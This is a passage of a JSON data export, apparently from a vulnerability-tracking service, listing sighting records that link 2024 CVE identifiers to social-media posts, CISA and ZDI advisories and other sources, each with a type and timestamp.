"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfxtu4ytkx2y", "content": "", "creation_timestamp": "2025-01-17T22:30:13.656722Z"}, {"uuid": "62c87c10-3494-4ae2-8552-37b8c06317b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5ujkv2c", "content": "", "creation_timestamp": "2025-01-20T21:02:05.327323Z"}, {"uuid": "354748cf-2a3a-4527-a3d7-0f618fb2259a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6g5ec24", "content": "", "creation_timestamp": "2025-01-20T21:02:10.094789Z"}, {"uuid": "4a4991dc-cf58-46fc-8644-513a094e12b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgamnzcv6g2j", "content": "", "creation_timestamp": "2025-01-21T10:15:28.980285Z"}, {"uuid": "9e1ec70b-98ff-4e22-8b4a-fe3f132a6c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113847225025868805", "content": "", "creation_timestamp": "2025-01-18T03:26:32.576939Z"}, {"uuid": "393fa052-27a1-45eb-88c3-40460cd2b4f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfyh5kvfnb2h", "content": "", "creation_timestamp": "2025-01-18T04:15:30.344899Z"}, {"uuid": "ec9b1337-26c5-49b5-8e63-75b38ca90dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfyizo5osh2r", "content": "", "creation_timestamp": "2025-01-18T04:49:06.869148Z"}, {"uuid": "f590568c-0288-4252-9f2e-170d319df29f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113848098341233000", "content": "", "creation_timestamp": "2025-01-18T07:08:38.534397Z"}, {"uuid": "553a9fe4-7871-454f-b859-23c9e48331b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113848098357560867", "content": "", "creation_timestamp": "2025-01-18T07:08:38.742789Z"}, {"uuid": "88ee6fbd-a901-48e0-8113-ccf1a24afd64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfyr7bb5ib2t", "content": "", "creation_timestamp": "2025-01-18T07:15:24.825429Z"}, {"uuid": "cb541778-c2b3-4af8-943d-4b939e3a8b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfyr7jurmr27", "content": "", "creation_timestamp": "2025-01-18T07:15:33.484754Z"}, {"uuid": "62094a13-57dd-4219-a78e-753bc611826f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfysjwcwkd2g", "content": "", "creation_timestamp": "2025-01-18T07:39:16.363429Z"}, {"uuid": "6f04609a-4b78-4c27-92fd-e966b07077b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfysjwvhyl2k", "content": "", "creation_timestamp": "2025-01-18T07:39:19.024261Z"}, {"uuid": "7ae0080e-903d-4b96-a6b3-cf474c1d3291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-19fd9414-f6e015e089aff22d", "content": "", "creation_timestamp": "2025-01-18T17:23:41.187341Z"}, {"uuid": "14ea7ab1-ecc1-44b2-b2ed-1e781a0e6c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lg2q6tiko52u", "content": "", "creation_timestamp": "2025-01-19T02:02:35.967196Z"}, {"uuid": "756b5d52-b339-4c41-8c66-0186d7c372ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12297", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lg2yopxuls2v", "content": "", "creation_timestamp": "2025-01-19T04:34:40.788036Z"}, {"uuid": "a60290fd-517e-43d1-89c2-a049ead8731f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/elhackernet.extwitter.link/post/3lg3kktvyms26", "content": "", "creation_timestamp": "2025-01-19T09:54:36.969897Z"}, {"uuid": "9b3b4c6b-c9ff-46bb-bb26-7536363c939b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12365", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lg5ceaqux22b", "content": "", "creation_timestamp": "2025-01-20T02:33:04.666934Z"}, {"uuid": "5eb043b2-d82f-43fe-af8b-de5e07e08217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/113861697335696342", "content": "", "creation_timestamp": "2025-01-20T16:47:07.042848Z"}, {"uuid": "4852ca6d-3864-49bd-a034-a0f396e94938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1247", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5wnad27", "content": "", "creation_timestamp": "2025-01-20T21:02:05.911018Z"}, {"uuid": "5653a7ff-fd08-4136-be5c-e2060000971c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-074/", "content": "", "creation_timestamp": "2025-01-31T05:00:00.000000Z"}, {"uuid": "1e6ab0b4-17b9-43d0-93d4-37a2ebffc936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12076", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887813133186587", "content": "", "creation_timestamp": "2025-01-25T07:28:38.238364Z"}, {"uuid": "c2289c0d-e526-489a-95f1-d679bf21b45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12113", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887813166815092", "content": "", "creation_timestamp": "2025-01-25T07:28:38.389142Z"}, {"uuid": "45a00635-c60a-47ad-aa37-e63a473bfa87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12512", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887813202332113", "content": "", "creation_timestamp": "2025-01-25T07:28:39.329897Z"}, {"uuid": "dcd6a668-ac29-45b5-9a85-f293c1cd3c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3s4isdo42r", "content": "", "creation_timestamp": "2025-02-01T05:34:56.467390Z"}, {"uuid": "15927dc4-ad7e-48e1-8949-4b4deb82a916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12529", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872206305997", "content": "", "creation_timestamp": "2025-01-25T07:43:39.280564Z"}, {"uuid": "6b032b6a-5d9b-4a95-baee-b591510cbfd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12816", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872221282926", "content": "", "creation_timestamp": "2025-01-25T07:43:39.523510Z"}, {"uuid": "9ccc15c4-2366-4156-a0f6-933a60276bea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12826", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872251415497", "content": "", "creation_timestamp": "2025-01-25T07:43:40.042286Z"}, {"uuid": "4c0920fb-8c95-4dbd-ab0f-33d502595a29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-021-03", "content": "", "creation_timestamp": "2025-01-21T11:00:00.000000Z"}, {"uuid": "11aad05b-dc6d-4d74-8ea9-5ab2cef9de8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12817", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872236064434", "content": "", "creation_timestamp": "2025-01-25T07:43:39.776806Z"}, {"uuid": "6cc910ee-b1e7-4a29-96d0-ecef687b4def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3ufoiklz2i", "content": "", "creation_timestamp": "2025-02-01T06:15:51.824032Z"}, {"uuid": "b3e1bd1b-63a7-47ef-9555-aa0913d36924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3ufqvoje2t", "content": "", "creation_timestamp": "2025-02-01T06:15:54.321632Z"}, {"uuid": "e25713bb-5706-40b1-9e7c-d70849afc00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12885", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887931249885284", "content": "", "creation_timestamp": "2025-01-25T07:58:40.193302Z"}, {"uuid": "9f62f0c6-3d55-433a-a47f-069399c615ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgefeprjpp2h", "content": "", "creation_timestamp": "2025-01-22T22:15:39.690301Z"}, {"uuid": "1fca6a3a-c65b-40d6-8c9e-7c5379cc3ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgegqhaiu72q", "content": "", "creation_timestamp": "2025-01-22T22:40:13.225691Z"}, {"uuid": "5edd95d6-9741-42f1-a6fe-b4eaac1e02f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113927290831369673", "content": "", "creation_timestamp": "2025-02-01T06:48:20.212830Z"}, {"uuid": "29fcc802-ac1a-4843-bdd5-9f42dda42ef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxs5ko3uf2y", "content": "", "creation_timestamp": "2025-01-30T15:24:53.470477Z"}, {"uuid": "03042f94-e28e-416e-8181-0cb43af1e1e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxs5lgvhn2q", "content": "", "creation_timestamp": "2025-01-30T15:24:56.774082Z"}, {"uuid": "e2cc80b3-5201-4528-bffe-a9ab5d5218b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12046", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113944437736684051", "content": "", "creation_timestamp": "2025-02-04T07:29:00.757521Z"}, {"uuid": "e2042388-fc87-49ff-a8c0-bb6896ec62b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgbvhkoohc2g", "content": "", "creation_timestamp": "2025-01-21T22:25:51.396564Z"}, {"uuid": "c1174d9a-a451-49fa-b406-09b720996e5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgbvixwdnk2g", "content": "", "creation_timestamp": "2025-01-21T22:26:22.963819Z"}, {"uuid": "bdf820d6-a632-41ca-a23d-8acd6363e1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3z46fbym2e", "content": "", "creation_timestamp": "2025-02-01T07:40:01.814548Z"}, {"uuid": "99cb149e-992b-4c74-b087-4795bb70be5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgcpqffaax2f", "content": "", "creation_timestamp": "2025-01-22T06:15:49.537179Z"}, {"uuid": "f7a0c5b7-99a8-40be-8b7d-64f505c4d43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcrdfxswe2e", "content": "", "creation_timestamp": "2025-01-22T06:44:22.369879Z"}, {"uuid": "6020412b-5fdc-4952-8b03-5a667e451133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12857", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgcrxved3k2y", "content": "", "creation_timestamp": "2025-01-22T06:55:48.799298Z"}, {"uuid": "aeb27978-d4a9-46ca-a1a9-f5bc534b9901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgct36qrsa2e", "content": "", "creation_timestamp": "2025-01-22T07:15:32.855900Z"}, {"uuid": "78651a5c-eda3-4f15-b13b-1b61a3715675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgct3oqkzl2j", "content": "", "creation_timestamp": "2025-01-22T07:15:49.267279Z"}, {"uuid": "bed42fcc-d047-4f0e-9676-24c789239e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113870905534107428", "content": "", "creation_timestamp": "2025-01-22T07:48:49.067030Z"}, {"uuid": "52e1a30f-7b95-4f09-87f0-ab2e60bb3967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcuxqacw22w", "content": "", "creation_timestamp": "2025-01-22T07:49:24.563851Z"}, {"uuid": "3f94c766-cdcb-451b-bf17-c772f4466d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcuxqdxoq2r", "content": "", "creation_timestamp": "2025-01-22T07:49:25.120234Z"}, {"uuid": "2580fc35-b338-4c31-abe7-771a32dbe6b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcuxqhbyn2g", "content": "", "creation_timestamp": "2025-01-22T07:49:25.662609Z"}, {"uuid": "85059808-d709-4c79-871c-4ce79fa1712f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12760", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12760.yaml", "content": "", "creation_timestamp": "2025-01-22T13:20:03.000000Z"}, {"uuid": "795ec7f1-3f1f-4825-9a6f-133dd7ba39e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3z46xisq2u", "content": "", "creation_timestamp": "2025-02-01T07:40:03.553196Z"}, {"uuid": "352a1adf-c0c4-4afb-8309-c164aca0a833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-29)", "content": "", "creation_timestamp": "2025-03-29T00:00:00.000000Z"}, {"uuid": "81531dd6-8dfa-41ae-ba88-5b1451ff0fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfnlvnxje2r", "content": "", "creation_timestamp": "2025-01-23T10:15:30.381754Z"}, {"uuid": "77e37a54-3d3c-48fe-a186-bba4cf1a7c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12275", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921455033240436", "content": "", "creation_timestamp": "2025-01-31T06:04:12.499165Z"}, {"uuid": "6fc06084-9d18-458d-bfed-1476a2e91f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12772", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921455048136997", "content": "", "creation_timestamp": "2025-01-31T06:04:12.703228Z"}, {"uuid": "d56bdf37-8230-45d1-80f2-ac6c98157b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941466402330448", "content": "", "creation_timestamp": "2025-02-03T18:53:21.739686Z"}, {"uuid": "1bd03c4f-e532-4e07-a5a9-dd36d2b54445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921455062062975", "content": "", "creation_timestamp": "2025-01-31T06:04:12.968255Z"}, {"uuid": "a2e33b18-a539-45c3-a322-1c847de1d5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfoobxizu2w", "content": "", "creation_timestamp": "2025-01-23T10:34:44.571506Z"}, {"uuid": "a12eee22-6d24-44c3-bceb-0434f0d0fed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc2rhcku2t", "content": "", "creation_timestamp": "2025-01-27T06:15:41.864927Z"}, {"uuid": "b6c4bde6-97e8-419b-bf90-88aef2cb2b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc2w3gcv2n", "content": "", "creation_timestamp": "2025-01-27T06:15:46.694586Z"}, {"uuid": "9d27df5f-6160-4478-9a1a-9728cfe36d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12275", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdwm37gv2h", "content": "", "creation_timestamp": "2025-01-31T06:15:47.006092Z"}, {"uuid": "c68ec829-d7fa-4cd4-a670-0b1e234a5374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc2yqdjg2p", "content": "", "creation_timestamp": "2025-01-27T06:15:49.781338Z"}, {"uuid": "0d497f23-b3a3-4e35-90f2-b2d37bf27ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12772", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdwoiofc2p", "content": "", "creation_timestamp": "2025-01-31T06:15:49.236208Z"}, {"uuid": "b1c26d75-4b91-4b0b-9abf-590d2427ec7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12046", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdmj5taqt2b", "content": "", "creation_timestamp": "2025-02-04T08:15:56.452087Z"}, {"uuid": "233d3b49-9385-4109-92ad-6b4a4ad3cf22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc33rp6r2e", "content": "", "creation_timestamp": "2025-01-27T06:15:52.497849Z"}, {"uuid": "45daade2-4d5a-4ee3-9a62-4a9c080b2934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdwqvq572f", "content": "", "creation_timestamp": "2025-01-31T06:15:51.754432Z"}, {"uuid": "1e11ff40-22ea-4fec-b0e7-3bb1645ee71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc36dxao2i", "content": "", "creation_timestamp": "2025-01-27T06:15:55.296810Z"}, {"uuid": "6f544468-2207-4e6f-bac9-2281d3e15e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113918327344863189", "content": "", "creation_timestamp": "2025-01-30T16:50:56.351142Z"}, {"uuid": "8e5c9ef8-0d9e-4901-b6db-87e025e6edc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113918327255388884", "content": "", "creation_timestamp": "2025-01-30T16:50:56.710996Z"}, {"uuid": "36888526-cbdd-4ab0-86be-f3601984f3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcawtn3jz2t", "content": "", "creation_timestamp": "2025-02-03T19:16:11.601150Z"}, {"uuid": "dcbc9b8d-be81-414e-b38b-ba208637995b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-07", "content": "", "creation_timestamp": "2025-02-04T11:00:00.000000Z"}, {"uuid": "472b9107-68b1-4760-b9c8-c48b61e52e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/nlnetlabs.bsky.social/post/3lgfprhqzjs2w", "content": "", "creation_timestamp": "2025-01-23T10:54:25.460628Z"}, {"uuid": 